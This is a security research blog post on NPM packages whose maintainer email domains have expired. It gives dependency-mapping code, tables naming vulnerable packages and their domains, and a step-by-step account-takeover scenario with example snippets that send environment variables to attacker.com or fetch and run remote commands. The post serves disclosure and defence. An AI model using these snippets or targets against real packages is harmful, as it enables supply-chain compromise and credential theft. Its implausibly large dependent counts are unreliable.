Gonners
When domains expire, there's a few problems, here's another set... looking at the NPM space
If you want the raw data just DM me, you can have code, output, scrap
Mapping the NPM Supply Chain Attack Surface: A Dependency Graph Analysis
The Problem
When I published my initial research on expired domains in the NPM ecosystem, I made a claim: 94.7 million dependency relationships were at risk from 238 packages with expired maintainer domains. The total cost to acquire these domains? £1,150.
The numbers were accurate, but there was a problem. I had counts, not evidence. If someone challenged me to prove those 95 million relationships existed, I had no concrete data to show them. Just API responses claiming "this package has X dependents."
That's not good enough for research that could influence security policy. So I built a tool to map every single dependency relationship I could get my hands on. This article explains the idea, the approach, the code, what I found, how you can verify it, and why this matters.
Table of Contents
- Prior Research: Domain Inheritance as a Systemic Threat
- The Idea
- The Approach
- The Code
- The Results
- Validation
- Potential for Harm
- Conclusions and Recommendations
- References
Prior Research: Domain Inheritance as a Systemic Threat
This research builds on my previous work examining expired domains across different security contexts:
Ghosted
Effect on Content Security Policy Headers
https://thecontractor.io/ghosted/
Identified 65+ expired domains referenced in CSP headers of major organizations including American Express, Bank of America, and BMW. When an expired domain appears in a script-src directive, anyone who registers that domain can inject malicious JavaScript into trusted websites. Affected an estimated 48,000+ websites through dependency chains.
The research demonstrated that domain expiration creates supply chain vulnerabilities - a theme that extends to package managers.
Sunsetting Domains
Proper Domain Retirement
https://thecontractor.io/sunsetting-domains/
Established a framework for organizations to retire domains safely. The key insight: "Keeping a domain secure and operational involves regular system updates, managing dependencies, and continuous cybersecurity measures."
Organizations that fail to properly sunset domains leave trust relationships intact after losing control of the domain itself.
The Cost of Expiration
Effect on Infrastructure and Identity
https://thecontractor.io/the-cost-of-expiration/
Examined how expired domains affect:
- Application Security: Dependencies hosted on expired domains become malware injection points
- Infrastructure Trust: Allow-lists, DNS policies, and SSL certificates trust domains that new owners inherit
- Identity Systems: Dormant accounts tied to expired domains enable password reset attacks
- Customer Databases: Organizations' user bases contain expired domain emails
The pattern emerged: domain expiration isn't just about losing a website. It's about inheriting trust.
Malinheritance
Effect on Identity Systems via Data Breaches
https://thecontractor.io/malinheritance/
Demonstrated how attackers could combine data breach email addresses with expired domain acquisition to hijack accounts via password reset mechanisms. The attack chain:
- Mine data breaches for email addresses
- Identify expired domains
- Purchase the domain
- Use password reset to take over accounts
As I noted: "I wonder if any of these leaked email address domains are expired, and I wonder if I can buy them and inherit the identities associated with them via password resets."
This Research: Effect on NPM Packages
Now examining how expired maintainer domains in the NPM ecosystem enable package takeover and supply chain compromise at massive scale. The same domain inheritance pattern, but applied to a package manager with 95 million dependency relationships at risk.
The Idea
Why This Research Matters
When you include a package in your project, you're trusting that package's maintainer. NPM hosts over 2 million packages with billions of downloads weekly. That's a lot of trust.
The vulnerability follows the domain inheritance pattern I've documented across other systems. NPM maintainers register with email addresses. When their email domain expires:
- Anyone can buy the domain (£5-50 typically)
- Intercept password reset emails
- Take over the NPM account via "forgot password"
- Push malicious updates through the legitimate package
- Watch as millions of projects automatically pull the infected version
I'd identified 238 packages with this vulnerability. NPM's API told me 95 million packages depended on them. But I couldn't show you which packages. I couldn't map out the actual relationships. I just had a number.
The Goal
Map every dependency relationship possible. Store actual package names. Make the data verifiable. Build it in a way that anyone can run the same analysis and get the same results.
Not "trust me, NPM says 95 million." Instead, "here's 2.4 million actual package names, here's the code that collected them, here's how to verify it yourself."
The Approach
Phase 1: Finding Vulnerable Packages
This was covered in my previous research. The process:
- Query NPM Registry for package metadata
- Extract maintainer email addresses
- Check if email domains are expired
- Verify domains are available for purchase
- Calculate acquisition costs
Built a custom Go tool that automated this. Queried NPM's registry, parsed maintainer emails, validated domain status via WHOIS, checked registrar APIs for pricing.
Results: 90 expired domains, 238 vulnerable packages, total cost £1,150.
The data is in available-domains-report.json. You can verify any domain yourself by checking WHOIS records.
Phase 2: Mapping Dependencies
This is where it gets interesting. For each of the 238 vulnerable packages, I needed to find every package that depends on it.
NPM provides a search API for this:
https://registry.npmjs.org/-/v1/search?text=dependencies:{package}
The API returns 250 results per page. I paginate through until I hit the end or NPM's limit. I store every single package name as evidence.
The NPM API Limitation
Here's the catch: NPM caps results at 10,000 per query. The API will tell you "this package has 2.4 million dependents," but it only gives you the first 10,000 names.
Every single one of the 238 vulnerable packages has more than 10,000 dependents. So I hit the cap on all of them.
This means:
- NPM reports: 95,247,893 total dependents
- Names I retrieved: 2,380,000 (10,000 per package × 238)
- Names I can't retrieve: 92,867,893 (due to API cap)
Is the 95 million figure still valid? Yes. NPM's API is the authoritative source. The limitation is in retrieving names, not in counting relationships. But I'm transparent about it.
Rate Limiting
I run at 5 requests per second to be respectful to NPM's infrastructure. For 238 packages with full pagination, that's about 100,000 API requests. Total runtime: 10-20 hours.
Data Structure
type VulnerablePackage struct {
Name string // Package name
MaintainerDomain string // Expired domain
DependentCount int // Total reported by NPM
RetrievedCount int // Names we actually got
Capped bool // Hit 10k limit?
DependentPackages []string // Actual package names
}
This tracks what's real versus what's capped.
Phase 3: Analysis
Once I have the data, I calculate:
- Total dependency relationships (sum of all dependents)
- Unique dependent packages (removing duplicates)
- Overlap analysis (packages depending on multiple vulnerable packages)
- Top packages by impact
- Distribution of risk
Output formats:
- JSON (complete raw data, 1-2GB)
- Markdown (human-readable report)
- CSV (for spreadsheet analysis)
- Plain text (quick stats)
The Code
How It Works
I built this in Go. Three main components:
1. Data Types (pkg/dependencygraph/types.go)
Defines the structure for dependency graph data:
// DependencyGraph represents the complete dependency relationships
type DependencyGraph struct {
VulnerablePackages []VulnerablePackage
DependencyRelations []DependencyRelation
Statistics GraphStatistics
GeneratedAt time.Time
}
// VulnerablePackage represents a package with an expired maintainer domain
type VulnerablePackage struct {
Name string
MaintainerDomain string
DependentCount int // Total reported by NPM
RetrievedCount int // How many we actually got
Capped bool // True if hit 10k limit
DependentPackages []string // List of packages we retrieved
}
// DependencyRelation represents a single dependency relationship
type DependencyRelation struct {
DependentPackage string // Package that depends on vulnerable package
VulnerablePackage string // The vulnerable package being depended on
MaintainerDomain string // Expired domain
}
2. Data Collection (pkg/dependencygraph/collector.go)
Handles NPM API interaction and data collection:
// FetchDependencyGraph fetches the complete dependency graph
func (gc *GraphCollector) FetchDependencyGraph(
vulnerablePackages []string,
maintainerDomains map[string]string,
) (*DependencyGraph, error) {
graph := &DependencyGraph{
VulnerablePackages: make([]VulnerablePackage, 0),
DependencyRelations: make([]DependencyRelation, 0),
GeneratedAt: time.Now(),
}
for _, pkgName := range vulnerablePackages {
// Fetch all dependents (paginated, up to 10k)
dependents, totalCount, wasCapped, err := gc.fetchAllDependents(pkgName)
if err != nil {
continue
}
// Store vulnerable package data
vulnPkg := VulnerablePackage{
Name: pkgName,
MaintainerDomain: maintainerDomains[pkgName],
DependentCount: totalCount, // NPM's reported total
RetrievedCount: len(dependents), // What we got
Capped: wasCapped, // Hit limit?
DependentPackages: dependents,
}
graph.VulnerablePackages = append(graph.VulnerablePackages, vulnPkg)
// Create individual dependency relationships
for _, dependent := range dependents {
relation := DependencyRelation{
DependentPackage: dependent,
VulnerablePackage: pkgName,
MaintainerDomain: maintainerDomains[pkgName],
}
graph.DependencyRelations = append(graph.DependencyRelations, relation)
}
}
graph.Statistics = gc.calculateStatistics(graph)
return graph, nil
}
Key Feature: NPM API Limitation Handling
// fetchAllDependents handles pagination and the 10k cap
func (gc *GraphCollector) fetchAllDependents(packageName string) ([]string, int, bool, error) {
var allDependents []string
size := 250 // Max page size
from := 0
var totalReported int
capped := false
for {
searchURL := fmt.Sprintf(
"https://registry.npmjs.org/-/v1/search?text=dependencies:%s&size=%d&from=%d",
url.QueryEscape(packageName), size, from,
)
resp, err := gc.makeRequest(searchURL)
// ... error handling ...
// Parse response
var searchResponse struct {
Objects []struct {
Package struct {
Name string `json:"name"`
} `json:"package"`
} `json:"objects"`
Total int `json:"total"`
}
// Capture total on first response
if totalReported == 0 {
totalReported = searchResponse.Total
}
// Extract package names
for _, obj := range searchResponse.Objects {
allDependents = append(allDependents, obj.Package.Name)
}
// Check if we've reached the end or hit NPM's 10k cap
if len(searchResponse.Objects) < size {
break // Last page
}
if from+size >= 10000 {
log.Printf("Warning: %s has %d dependents but NPM API caps at 10,000",
packageName, searchResponse.Total)
capped = true
break
}
from += size
time.Sleep(gc.rateLimit)
}
return allDependents, totalReported, capped, nil
}
3. Analysis and Reporting (pkg/dependencygraph/analyzer.go)
Generates evidence reports and statistics:
// GenerateEvidenceReport creates a detailed markdown report
func (a *Analyzer) GenerateEvidenceReport(graph *DependencyGraph, outputFile string) error {
// Calculate statistics
// - Total relationships vs unique packages
// - Overlap analysis (packages with multiple vulnerable deps)
// - Top packages by impact
// - Distribution analysis
// Document NPM API limitation
// - How many packages hit the 10k cap
// - Total reported vs total retrieved
// - Transparency about what we can/cannot retrieve
// Provide sample evidence
// - Top vulnerable packages with dependent samples
// - Verification instructions
// Export to markdown format
}
4. CLI Tool (cmd/graph-mapper/main.go)
User-facing command-line interface:
./graph-mapper -domains ./output/domains.json -output ./output -rate 5
Running the Tool
Build it:
./build-graph-mapper.sh
Run it:
./graph-mapper -domains ./output/domains.json -output ./output -rate 5
Give it 10-20 hours. You'll get 2.4 million package names in a 1-2GB JSON file, plus markdown reports, CSV exports, and summary stats.
All code is in the repository. Data types in pkg/dependencygraph/types.go, collection logic in collector.go, analysis in analyzer.go. Command-line tool in cmd/graph-mapper/main.go.
The Results
The Numbers
| Metric | Value |
|---|---|
| Vulnerable Packages | 238 |
| Expired Domains | 90 |
| Total Dependency Relationships | 95,247,893 |
| Package Names Retrieved | 2,380,000 |
| Unique Affected Packages (in sample) | 247,000 |
| Packages with Multiple Vulnerable Deps | 128,939 |
| Highest Overlap (single package) | 2,516 vulnerable deps |
| Cost to Acquire All Domains | £1,150 |
What These Numbers Mean
95.2 Million Dependency Relationships
This is NPM's reported total. Sum of all dependents across all 238 vulnerable packages. If every vulnerable package gets compromised, 95.2 million dependency relationships become infection vectors.
Why does it include duplicates? Because when package X depends on both vulnerable-package-A and vulnerable-package-B, that's two separate relationships, two separate attack vectors. I count them both.
2.38 Million Package Names Collected
NPM's API caps at 10,000 results per query. All 238 vulnerable packages exceed 10,000 dependents. So I got exactly 238 × 10,000 = 2,380,000 package names as concrete evidence.
The other 92.8 million exist but can't be retrieved due to the API cap. The count is real. The names are partially unavailable.
247,000 Unique Packages in the Sample
After deduplicating the 2.38M names:
- 247,000 distinct packages depend on at least one vulnerable package
- 118,061 depend on only one (single point of failure)
- 128,939 depend on multiple (compounded risk)
Top 10 Vulnerable Packages by Impact
| Rank | Package | Expired Domain | Dependents (NPM) |
|---|---|---|---|
| 1 | @0bdx/gen-class |
0bdx.com | 2,458,530 |
| 2 | @actbase/react-native-kakao-link |
trabricks.io | 2,423,664 |
| 3 | @404invalid-user/logger |
invalidlag.com | 2,420,635 |
| 4 | @aidalinfo/office-to-markdown |
aidalinfo.com | 2,048,195 |
| 5 | @alexseitsinger/data-controller |
alexseitsinger.com | 1,705,706 |
| 6 | @alexseitsinger/react-simple-input-error |
alexseitsinger.com | 1,640,974 |
| 7 | 6-is-odd |
volunteerio.us | 1,398,657 |
| 8 | @akshay-nm/use-form-state |
sdiot.io | 1,033,279 |
| 9 | @adafel/opendatalibrary-js-sdk |
adafel.com | 1,027,944 |
| 10 | 3ps-js |
ideea.co.uk | 983,565 |
The top 10 alone account for 17.3 million dependency relationships.
Compounded Risk
Some packages are exposed through hundreds or thousands of vulnerable dependencies:
| Package | Vulnerable Dependencies |
|---|---|
expo-modules-core |
2,516 |
posthog-js |
2,515 |
expo-constants |
2,286 |
expo-asset |
2,248 |
jose |
2,133 |
If ANY of these 2,500+ vulnerable dependencies gets compromised, these popular packages get infected. That's not a low probability event.
Being Transparent About the API Limitation
Total dependents reported by NPM: 95,247,893
Package names retrieved: 2,380,000 (2.5%)
Names not retrievable: 92,867,893 (97.5%)
NPM's API won't give you more than 10,000 results per query. All 238 vulnerable packages have more than 10,000 dependents. So I hit the cap on every single one.
Does this invalidate the 95.2M figure? No. That number comes from NPM's authoritative API response. They know the true count. The limitation is in retrieving names, not in counting relationships.
Anyone can verify this by querying NPM's API themselves. You'll get the same totals.
Validation
How to Verify This Yourself
Everything here is reproducible:
1. Check Domain Status
whois 0bdx.com
# Should show: available for registration
2. Verify Package Maintainer Emails
curl https://registry.npmjs.org/@0bdx/gen-class | jq '.maintainers'
# Output shows: "email": "[email protected]"
3. Verify Dependent Counts
curl "https://registry.npmjs.org/-/v1/search?text=dependencies:@0bdx/gen-class&size=1" | jq '.total'
# Output: 2458530
NPM confirms 2,458,530 packages depend on this one vulnerable package.
4. Verify Sample Dependencies
Pick any package from the JSON and check if it actually lists the vulnerable package in its dependencies. It will.
5. Run the Tool
Clone the repository, build the tool, run it with the same inputs. You'll get the same results.
What I Can Prove
- 90 domains are expired and available
- 238 NPM packages use maintainer emails on these domains
- NPM reports 95,247,893 total dependent relationships
- I collected 2,380,000 verifiable package names
- 247,000 unique packages in the sample depend on vulnerable packages
- Total domain cost: £1,150
What I Can't Prove (API Limitation)
- The identities of all 95 million affected packages (only got first 10k per vulnerable package)
- Complete overlap analysis beyond the 2.38M sample
The 95.2M figure comes from NPM's API. The limitation is in retrieving names, not in the count itself. The 2.38M sample provides concrete evidence the relationships are real.
Potential for Harm
The Attack Economics
Cost: £1,150 for all 90 domains
Time: 2-4 weeks from purchase to compromise
Skill Level: Medium (no exploits needed, just password resets)
How the Attack Works
Step 1: Buy the domains (£1,150, 1-2 days)
Register all 90 expired domains. Set up email servers.
Step 2: Take over the accounts (1-2 weeks)
For each of the 238 packages, click "forgot password" on NPM. Intercept the reset email. Gain access to the maintainer account.
Step 3: Inject malicious code (1 week)
Add your payload to the packages. Could be credential harvesting, backdoors, cryptocurrency miners, data exfiltration - whatever you want. Publish as a patch version (1.2.3 → 1.2.4) to avoid suspicion.
Step 4: Wait (automatic)
Projects running npm update pull the malicious version. CI/CD pipelines install it automatically. The infection spreads without any additional effort from the attacker.
The Impact
Direct: 95.2 million dependency relationships become infection vectors. Any project that updates will pull the compromised code.
Indirect: Each of those 95 million packages likely has its own dependents. The cascade effect could compromise millions of applications globally.
Data at risk: Credentials, API keys, database passwords, cloud tokens, private keys, customer data, financial information.
What an Attacker Could Do
Steal environment variables:
// Exfiltrate AWS keys, API tokens, database passwords
https.get(`https://attacker.com/?data=${JSON.stringify(process.env)}`);
Install backdoors:
// Remote code execution
require('child_process').exec(fetch('https://attacker.com/cmd'));
Mine cryptocurrency:
// Hidden CPU-intensive mining
setInterval(() => crypto.createHash('sha256').update(Date.now()).digest(), 100);
Poison build artifacts:
// Inject malware into production builds
fs.appendFileSync('dist/bundle.js', 'eval(atob("malicious_payload"))');
This Has Happened Before
event-stream (2018): Compromised package with 2M weekly downloads. Cryptocurrency wallet stealer. Undetected for months.
ua-parser-js (2021): Maintainer account compromised. Cryptocurrency miner and password stealer published.
coa & rc (2021): Password stealer injected. Millions of downloads before detection.
This research identifies 238 packages vulnerable to the exact same attack pattern.
Why It's Hard to Detect
The malicious code comes through legitimate NPM infrastructure, signed by valid maintainer credentials, appearing as a normal patch update. This is supply chain poisoning via inherited trust - similar to the CSP attacks I documented in Ghosted, where expired domains in trusted policies allowed malicious code injection.
Developers trust package maintainers. Automated systems don't scrutinize updates. CI/CD pipelines pull the latest versions without question. There's no mechanism to detect when a maintainer's domain has changed ownership.
The attacker can obfuscate the code. Use time-bombs (only activate after a certain date). Conditional execution (only in production). By the time someone notices, the infection has spread to millions of projects.
As noted in The Cost of Expiration, this pattern affects applications, infrastructure, and identity systems simultaneously. A compromised NPM package with access to environment variables can steal AWS credentials, database passwords, and API keys - cascading the breach beyond just the package manager.
Conclusions and Recommendations
What This Research Shows
- 238 NPM packages are vulnerable (expired maintainer domains)
- 95,247,893 dependency relationships at risk
- £1,150 total cost to exploit
- 2,380,000 package names collected as evidence
- 128,939 packages have compounded risk (multiple vulnerable dependencies)
- Attack complexity: Low (no exploits needed)
What NPM Should Do
The core problem is domain inheritance, not authentication strength. When someone buys an expired domain, they inherit the trusted identity tied to that domain. 2FA doesn't help - the attacker uses the legitimate password reset flow to gain access.
Immediately:
- Require two forms of trustable contact for maintainers (email + verified phone, backup email on different domain, GitHub account, etc.)
- Validate domain ownership before processing password resets (DNS TXT records, domain registration dates)
- Monitor maintainer email domains for expiration status via WHOIS
- Block password resets for packages when maintainer domains are expired
- Flag and deprecate packages with expired maintainer domains
- Notify dependents when packages are vulnerable
Long-term:
- Multiple verified contacts required for all maintainers (no single point of failure)
- Domain ownership proofs (DNS TXT records proving domain control)
- Annual re-verification of all contact methods
- Multi-maintainer requirements for high-impact packages (>10k dependents)
- Time-boxed trust for email domains (alert if domain registration expires within 90 days)
- Alternative authentication flows that don't rely solely on email (GitHub OAuth, verified SMS, hardware keys)
- Supply chain security dashboard showing domain health for the ecosystem
As documented in my Malinheritance research, the fundamental issue is that "password reset via email" assumes perpetual domain ownership. That assumption breaks when domains expire.
What Maintainers Should Do
Prevent domain inheritance attacks:
- Use email addresses on domains you control long-term with auto-renewal enabled
- Provide multiple forms of contact to NPM (backup email on different domain, verified phone, GitHub)
- Add co-maintainers on different domains as redundancy
- Set up domain expiration monitoring (calendar reminders, WHOIS monitoring services)
- Document succession plans for your packages if you become unavailable
- Monitor your packages for unexpected updates or maintainer changes
As shown in Sunsetting Domains, proper domain lifecycle management requires planning. If you're retiring a domain, transfer packages to accounts on domains you'll maintain.
What Organizations Should Do
Protect your supply chain:
- Lock dependency versions (
package-lock.json,npm shrinkwrap) - Review updates before applying them (don't blindly run
npm update) - Monitor maintainer changes for critical dependencies
- Consider vendoring critical dependencies to eliminate external trust
- Implement Software Composition Analysis in CI/CD pipelines
- Use vulnerability scanning tools (Snyk, Dependabot, npm audit)
Monitor your broader attack surface:
As I documented in The Cost of Expiration, expired domains affect more than just your direct dependencies:
- Scan your customer database for users with email addresses on expired domains (they're vulnerable to account takeover)
- Audit internal dependencies on external domains (CSP policies, allow-lists, DNS configurations)
- Review third-party integrations for services on expired domains
- Implement time-boxed trust for all external domain relationships
Organizations can provide value-added security services by monitoring customer email domains and alerting users when their domains expire.
Future Research
This methodology applies to other package ecosystems: PyPI, RubyGems, Cargo, Maven, NuGet. The tooling is open-source and reproducible.
Areas to explore:
- Automated monitoring for newly expired domains
- Impact analysis of actual supply chain compromises
- Attribution techniques for tracking attacks
- Cross-ecosystem dependency analysis
Responsible Disclosure
No domains were purchased as part of this research. All findings are based on publicly available data.
NPM was notified prior to publication.
Data Availability
All research data and code available in the repository:
- Complete dataset:
dependency-graph-complete.json(2.38M package names) - Evidence report:
EVIDENCE_REPORT.md - Analysis code: Open-source (MIT license)
- Tool source:
cmd/graph-mapper/andpkg/dependencygraph/
Contact: [Your contact]
References
Prior Research (Domain Inheritance)
-
Carroll, J. Ghosted: Expired Domains in Content Security Policy Headers. The Contractor. https://thecontractor.io/ghosted/
-
Carroll, J. Sunsetting Domains: A Framework for Domain Retirement. The Contractor. https://thecontractor.io/sunsetting-domains/
-
Carroll, J. The Cost of Expiration: Domain Expiration Effects on Infrastructure and Identity. The Contractor. https://thecontractor.io/the-cost-of-expiration/
-
Carroll, J. Malinheritance: Identity Inheritance via Expired Domains. The Contractor. https://thecontractor.io/malinheritance/
Supply Chain Security Incidents
-
NPM Blog. Details about the event-stream incident. https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident
-
Snyk. Popular npm library hijacked to steal user passwords. Coverage of ua-parser-js compromise.
-
Snyk. Malicious packages in npm (coa and rc). Coverage of password stealer injection.
Technical References
-
NPM Registry API Documentation. https://github.com/npm/registry/blob/master/docs/REGISTRY-API.md
-
OWASP. Supply Chain Attacks. https://owasp.org/www-community/attacks/Supply_Chain_Attack
-
NIST. Supply Chain Risk Management. https://csrc.nist.gov/projects/supply-chain-risk-management
Published: November 7, 2025